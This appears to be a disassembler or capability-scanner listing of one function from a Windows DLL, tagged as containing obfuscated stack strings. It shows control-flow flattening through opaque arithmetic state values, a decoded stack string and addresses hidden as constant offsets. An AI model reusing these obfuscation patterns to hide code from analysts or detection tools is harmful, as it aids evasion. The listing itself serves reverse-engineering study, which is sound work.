Function at 0x180045620
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rax
pushf
mov eax, 0xeabe84be
pushf
not eax
add eax, 0xaa5053d8
xor eax, 0xf1aa7cd4
rol eax, 0x29
popf
pushf
not eax
add eax, 0xbeafa29c
xor eax, 0xe9499bd6
rol eax, 0x48
popf
pushf
not eax
add eax, 0xcffd4aae
xor eax, 0xce9dc12c
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xa3a6ac07
xor eax, 0xfda4b243
rol eax, 0x7f
popf
cmp eax, 4
jne 0x180045683
popf
pop rax
jmp 0x180045a5e
cmp eax, 0
jne 0x180045692
popf
pop rax
jmp 0x180045764
cmp eax, 3
jne 0x1800456a1
popf
pop rax
jmp 0x180045a02
cmp eax, 1
jne 0x1800456b0
popf
pop rax
jmp 0x18004583d
cmp eax, 0xd
jne 0x1800456bf
popf
pop rax
jmp 0x180045f11
cmp eax, 7
jne 0x1800456ce
popf
pop rax
jmp 0x180045c03
cmp eax, 0xe
jne 0x1800456dd
popf
pop rax
jmp 0x180045faf
cmp eax, 0xb
jne 0x1800456ec
popf
pop rax
jmp 0x180045dff
cmp eax, 0xc
jne 0x1800456fb
popf
pop rax
jmp 0x180045e4e
cmp eax, 8
jne 0x18004570a
popf
pop rax
jmp 0x180045c5f
cmp eax, 5
jne 0x180045719
popf
pop rax
jmp 0x180045b25
cmp eax, 2
jne 0x180045728
popf
pop rax
jmp 0x1800458f1
cmp eax, 9
jne 0x180045737
popf
pop rax
jmp 0x180045d0d
cmp eax, 0xa
jne 0x180045746
popf
pop rax
jmp 0x180045da3
cmp eax, 6
jne 0x180045755
popf
pop rax
jmp 0x180045bc8
cmp eax, 0xf
jne 0x180045764
popf
pop rax
jmp 0x18004602c
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
lea rbp, [rax - 0x1c8]
sub rsp, 0x2c0
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
mov rbx, rcx
mov byte [rsp + 0x30], 0x67
mov byte [rsp + 0x31], 0x39
mov byte [rsp + 0x32], 0x69
mov byte [rsp + 0x33], 0x2c
mov byte [rsp + 0x34], 0x79
mov byte [rsp + 0x35], 0x7b
mov byte [rsp + 0x36], 0x82
mov byte [rsp + 0x37], 0x75
mov byte [rsp + 0x38], 0x7a
mov byte [rsp + 0x39], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x3a], 0x2c
mov byte [rsp + 0x3b], 0x7f
mov byte [rsp + 0x3c], WSAStartup
mov byte [rsp + 0x3d], 0x78
mov byte [rsp + 0x3e], WSAStartup
mov byte [rsp + 0x3f], 0
mov al, byte [rsp + 0x30]
xor edx, edx
push rax
pushf
mov eax, 0x755680fd
pushf
not eax
add eax, 0xbe66e320
xor eax, 0xf8d6890c
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xe0012cc4
xor eax, 0xeb06e095
rol eax, 0xc
popf
pushf
not eax
add eax, 0xf755fd0d
xor eax, 0xedc0305e
rol eax, 0x43
popf
pushf
not eax
add eax, 0xe7869c1b
xor eax, 0x8325ad99
rol eax, 0x17
popf
jmp 0x180045674
movsx ecx, byte [rsp + rdx + 0x30]
sub ecx, 0xc
mov byte [rsp + rdx + 0x30], cl
inc rdx
cmp rdx, 0xf
jb 0x1800458ab
push rax
pushf
mov eax, 0xa3426fbf
pushf
not eax
add eax, 0xa18df1bf
xor eax, 0xa25f9043
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xbdbeb717
xor eax, 0xcd87eaee
rol eax, 0x63
popf
pushf
not eax
add eax, 0x9774fcc8
xor eax, 0xfb5c28f9
rol eax, 0x60
popf
pushf
not eax
add eax, 0xb7d8d8fe
xor eax, 0xbadb92c7
rol eax, 0xc1
popf
jmp 0x180045674
push rax
pushf
mov eax, 0x7211b53e
pushf
not eax
add eax, 0xf8d4b028
xor eax, 0xc33c104a
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x9955d53f
xor eax, 0xb970bd0f
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xc7f981ef
xor eax, 0xeb1a91c4
rol eax, 0x16
popf
jmp 0x180045674
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x68]
call fcn.1800526b5
mov rcx, rax
call fcn.1800590d8
mov r8d, 0x264c3190
pushf
not r8d
add r8d, 0x85241b36
xor r8d, 0x888d6d57
rol r8d, 0x4e
popf
pushf
not r8d
add r8d, 0xf9ade4d5
xor r8d, 0xb093620d
rol r8d, 4
popf
pushf
not r8d
add r8d, 0xabb6d8f3
xor r8d, 0xf0036c60
rol r8d, 0
popf
pushf
not r8d
add r8d, 0xb397e2a7
xor r8d, 0xc626f8d2
rol r8d, 0x73
popf
lea rdx, [rbp - 0x50]
xor ecx, ecx
jmp 0x180045979
call qword [0x18001ebc8]
mov rdx, rbx
cmp qword [rbx + 0x18], 8
jb 0x1800459bc
push rax
pushf
mov eax, 0xa5b39e8b
pushf
not eax
add eax, 0xa3f49b0f
xor eax, 0x8c889809
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xe4529b70
xor eax, 0xcb2ff8bd
rol eax, 0x97
popf
jmp 0x180045674
push rax
pushf
mov eax, 0xcd5f0e2d
pushf
not eax
add eax, 0xad177622
xor eax, 0x9c438088
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xf4316be2
xor eax, 0xbeb7f126
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xe0850109
xor eax, 0xda3c45ff
rol eax, 0x61
popf
jmp 0x180045674
mov rdx, qword [rbx]
push rax
pushf
mov eax, 0x451e2662
pushf
not eax
add eax, 0x855bb67f
xor eax, 0xec978ec9
rol eax, 0x13
popf
pushf
not eax
add eax, 0x9bc1806b
xor eax, 0x967ffcb5
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xb2f0bab0
xor eax, 0x9336605c
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xaa6d0e85
xor eax, 0x85be5e57
rol eax, 0x99
popf
jmp 0x180045674
lea rcx, [rsp + 0x40]
call fcn.180035269
nop
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
jmp 0x180045a7b
call qword [0x18001ea80]
cmp eax, 0xffffffff
je 0x180045acc
push rax
pushf
mov eax, 0xba6f165a
pushf
not eax
add eax, 0xda3c94cc
xor eax, 0x8dbd9e11
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x971a6cc7
xor eax, 0x89f37b1b
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xdfd0f42d
xor eax, 0xdd9f6609
rol eax, 0x45
popf
jmp 0x180045674
push rax
pushf
mov eax, 0xdadb3449
pushf
not eax
add eax, 0x87c9f420
xor eax, 0xb9b9607d
rol eax, 0x98
popf
pushf
not eax
add eax, 0x972dc13a
xor eax, 0xfb047f78
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xfe73b1ba
xor eax, 0xbaef84bb
rol eax, 0x82
popf
pushf
not eax
add eax, 0xd7161047
xor eax, 0xfd9ee382
rol eax, 0x5d
popf
jmp 0x180045674
test al, 0x10
je 0x180045b82
push rax
pushf
mov eax, 0xd17b1c4a
pushf
not eax
add eax, 0xb3979f48
xor eax, 0xb9b59db3
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xbc981c20
xor eax, 0x9bdea136
rol eax, 0x70
popf
pushf
not eax
add eax, 0xfd374bd5
xor eax, 0xd8a1b6ad
rol eax, 0x80
popf
pushf
not eax
add eax, 0xd9402216
xor eax, 0x81200641
rol eax, 0x9b
popf
jmp 0x180045674
push rax
pushf
mov eax, 0x8f7de553
pushf
not eax
add eax, 0xc3bacc9e
xor eax, 0xaa577294
rol eax, 0x59
popf
pushf
not eax
add eax, 0xd9cec2e7
xor eax, 0xa3023c21
rol eax, 0x28
popf
pushf
not eax
add eax, 0x8ea76cfb
xor eax, 0xfad3d23b
rol eax, 0xe
popf
jmp 0x180045674
xor dil, dil
jmp 0x180045c5f
mov dil, 0xb6
pushf
not dil
add dil, 0x47
xor dil, 0xd2
rol dil, 0xf7
popf
pushf
not dil
add dil, 0xb4
xor dil, 0x82
rol dil, 0xf4
popf
push rax
pushf
mov eax, 0x5a849aa4
pushf
not eax
add eax, 0x91540de6
xor eax, 0xf5f87447
rol eax, 0x60
popf
pushf
not eax
add eax, 0xdca095a8
xor eax, 0x99698ea1
rol eax, 0x64
popf
jmp 0x180045674
lea rcx, [rsp + 0x40]
call fcn.18005796a
test dil, dil
je 0x180045cc7
push rax
pushf
mov eax, 0xca0dd488
pushf
not eax
add eax, 0xdbdfea74
xor eax, 0xa23e2027
rol eax, 0xef
popf
pushf
not eax
add eax, 0xf99527d6
xor eax, 0xc9af6436
rol eax, 0xec
popf
pushf
not eax
add eax, 0xf4d48a7b
xor eax, 0xa3808b4f
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xcb060cb7
xor eax, 0xf53cf698
rol eax, 0xdd
popf
jmp 0x180045674
push rax
pushf
mov eax, 0x9dd98106
pushf
not eax
add eax, 0x9a5b08e8
xor eax, 0xf9e4f358
rol eax, 0x95
popf
pushf
not eax
add eax, 0xa0311772
xor eax, 0xcd17fd1a
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xdc1b2d22
xor eax, 0x9f5c5f61
rol eax, 0x1d
popf
jmp 0x180045674
mov rcx, rbx
cmp qword [rbx + 0x18], 8
jb 0x180045d5d
push rax
pushf
mov eax, 0x1a3b4665
pushf
not eax
add eax, 0xd50f536a
xor eax, 0xaf224033
rol eax, 0x47
popf
pushf
not eax
add eax, 0xcb029e62
xor eax, 0xf51510e0
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xb9047499
xor eax, 0x94bbc7ad
rol eax, 0x15
popf
jmp 0x180045674
push rax
pushf
mov eax, 0x3969b081
pushf
not eax
add eax, 0xc4f9d95d
xor eax, 0x987508d8
rol eax, 0x61
popf
pushf
not eax
add eax, 0xad3f9f38
xor eax, 0xedd47fb7
rol eax, 0x79
popf
pushf
not eax
add eax, 0xf6d5c3d7
xor eax, 0xc6048195
rol eax, 0x86
popf
jmp 0x180045674
mov rcx, qword [rbx]
push rax
pushf
mov eax, 0x69095906
pushf
not eax
add eax, 0xb43c38c6
xor eax, 0x98f48dc6
rol eax, 0x27
popf
pushf
not eax
add eax, 0xbca24118
xor eax, 0xc9e8c2b6
rol eax, 0x10
popf
pushf
not eax
add eax, 0xe2f0a98e
xor eax, 0x9dd0052e
rol eax, 0x78
popf
pushf
not eax
add eax, 0x9120cd61
xor eax, 0xbe9e24c3
rol eax, 0x33
popf
jmp 0x180045674
xor edx, edx
jmp 0x180045e02
call qword [0x18001eb40]
push rax
pushf
mov eax, 0xc56f8b8e
pushf
not eax
add eax, 0xce17da22
xor eax, 0xe923e633
rol eax, 0x88
popf
pushf
not eax
add eax, 0xc5527b39
xor eax, 0xcd9b78c6
rol eax, 0x46
popf
pushf
not eax
add eax, 0xbc08eca8
xor eax, 0xafa0482a
rol eax, 0xc
popf
jmp 0x180045674
xor r8d, r8d
lea rdx, [0x1f28d46f4]
pushf
sub rdx, 0x728b66a4
popf
lea rcx, [rbp - 0x50]
jmp 0x180045e68
call qword [0x18001ea68]
test eax, eax
je 0x180045eb8
push rax
pushf
mov eax, 0xd3fa2ad8
pushf
not eax
add eax, 0xf9fcb2e9
xor eax, 0xacea270d
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xbc98ee9d
xor eax, 0xe675fadc
rol eax, 0x99
popf
pushf
not eax
add eax, 0x8647db56
xor eax, 0xc1a7ed86
rol eax, 0x2c
popf
jmp 0x180045674
push rax
pushf
mov eax, 0xee133c09
pushf
not eax
add eax, 0xd5d66363
xor eax, 0xad6d9c30
rol eax, 0x98
popf
pushf
not eax
add eax, 0xd36dd965
xor eax, 0x8a4e7f37
rol eax, 0x70
popf
pushf
not eax
add eax, 0x8512d0a5
xor eax, 0xb1c9c3a8
rol eax, 3
popf
pushf
not eax
add eax, 0xa28c5bd4
xor eax, 0xacbabeef
rol eax, 0x1e
popf
jmp 0x180045674
mov dword [rsp + 0x28], 1
lea rax, [0x1ebd0bbd2]
pushf
sub rax, 0x6bced972
popf
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [0x1e88f137d]
pushf
sub r8, 0x688d332d
popf
lea rdx, [0x1f6650efb]
pushf
sub rdx, 0x7663835b
popf
xor ecx, ecx
jmp 0x180045f59
call qword [0x18001eb48]
call fcn.18002d9b5
jmp 0x18004602c
lea rdx, [0x1f752edde]
pushf
sub rdx, 0x7751622e
popf
lea rcx, [rbp - 0x78]
call fcn.1800526b5
mov rcx, rax
call fcn.1800590d8
nop
push rax
pushf
mov eax, 0x355414f9
pushf
not eax
add eax, 0x8dde1b65
xor eax, 0xefc49b81
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xfaa61264
xor eax, 0x9e95b897
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x91e0966b
xor eax, 0xa1ab4284
rol eax, 0x31
popf
pushf
not eax
add eax, 0xe9c97883
xor eax, 0xeca54604
rol eax, 0x8d
popf
jmp 0x180045674
mov rcx, rbx
call fcn.18005796a
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret